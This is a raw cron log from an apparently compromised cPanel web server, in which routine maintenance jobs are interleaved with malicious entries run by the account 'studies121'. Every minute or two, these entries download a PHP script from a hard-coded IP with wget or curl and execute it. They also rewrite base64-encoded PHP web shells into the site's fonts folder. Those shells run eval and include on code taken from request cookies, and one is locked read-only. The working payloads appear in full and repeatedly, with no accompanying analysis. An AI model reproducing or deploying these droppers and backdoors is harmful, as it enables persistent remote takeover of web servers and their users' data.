Sep  5 05:32:01 ip-184-168-122-23 CROND[17643]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 05:32:01 ip-184-168-122-23 CROND[17644]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 05:32:01 ip-184-168-122-23 CROND[17648]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:33:01 ip-184-168-122-23 CROND[17741]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 05:33:01 ip-184-168-122-23 CROND[17745]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:33:01 ip-184-168-122-23 CROND[17744]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:33:01 ip-184-168-122-23 CROND[17743]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 05:34:01 ip-184-168-122-23 CROND[17851]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 05:34:01 ip-184-168-122-23 CROND[17855]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:34:01 ip-184-168-122-23 CROND[17856]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 05:34:01 ip-184-168-122-23 CROND[17853]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 05:34:01 ip-184-168-122-23 CROND[17854]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:35:01 ip-184-168-122-23 CROND[17950]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:35:01 ip-184-168-122-23 CROND[17956]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 05:35:01 ip-184-168-122-23 CROND[17953]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 05:35:01 ip-184-168-122-23 CROND[17952]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  5 05:35:01 ip-184-168-122-23 CROND[17954]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 05:35:01 ip-184-168-122-23 CROND[17955]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 05:35:01 ip-184-168-122-23 CROND[17957]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:35:01 ip-184-168-122-23 CROND[17958]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 05:36:01 ip-184-168-122-23 CROND[18088]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 05:36:01 ip-184-168-122-23 CROND[18090]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 05:36:01 ip-184-168-122-23 CROND[18091]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 05:36:01 ip-184-168-122-23 CROND[18092]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:36:01 ip-184-168-122-23 CROND[18093]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:37:01 ip-184-168-122-23 CROND[18283]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:37:02 ip-184-168-122-23 CROND[18285]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 05:37:02 ip-184-168-122-23 CROND[18286]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 05:37:02 ip-184-168-122-23 CROND[18288]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:38:01 ip-184-168-122-23 CROND[18397]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 05:38:01 ip-184-168-122-23 CROND[18400]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:38:01 ip-184-168-122-23 CROND[18401]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 05:38:01 ip-184-168-122-23 CROND[18399]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:38:01 ip-184-168-122-23 CROND[18402]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 05:39:01 ip-184-168-122-23 CROND[18494]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 05:39:01 ip-184-168-122-23 CROND[18496]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:39:01 ip-184-168-122-23 CROND[18498]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:39:01 ip-184-168-122-23 CROND[18499]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 05:39:01 ip-184-168-122-23 CROND[18500]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 05:40:01 ip-184-168-122-23 CROND[18591]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 05:40:01 ip-184-168-122-23 CROND[18594]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:40:01 ip-184-168-122-23 CROND[18595]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 05:40:01 ip-184-168-122-23 CROND[18600]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 05:40:01 ip-184-168-122-23 CROND[18599]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:40:01 ip-184-168-122-23 CROND[18604]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 05:40:01 ip-184-168-122-23 CROND[18602]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 05:40:01 ip-184-168-122-23 CROND[18601]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 05:41:02 ip-184-168-122-23 CROND[18716]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 05:41:02 ip-184-168-122-23 CROND[18717]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 05:41:02 ip-184-168-122-23 CROND[18715]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:41:02 ip-184-168-122-23 CROND[18718]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:42:01 ip-184-168-122-23 CROND[18861]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 05:42:01 ip-184-168-122-23 CROND[18862]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 05:42:01 ip-184-168-122-23 CROND[18865]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 05:42:01 ip-184-168-122-23 CROND[18866]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:42:01 ip-184-168-122-23 CROND[18868]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:43:01 ip-184-168-122-23 CROND[18992]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 05:43:01 ip-184-168-122-23 CROND[18993]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 05:43:01 ip-184-168-122-23 CROND[18996]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:43:01 ip-184-168-122-23 CROND[18997]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:44:01 ip-184-168-122-23 CROND[19141]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 05:44:01 ip-184-168-122-23 CROND[19144]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:44:01 ip-184-168-122-23 CROND[19145]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 05:44:01 ip-184-168-122-23 CROND[19146]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:44:01 ip-184-168-122-23 CROND[19143]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
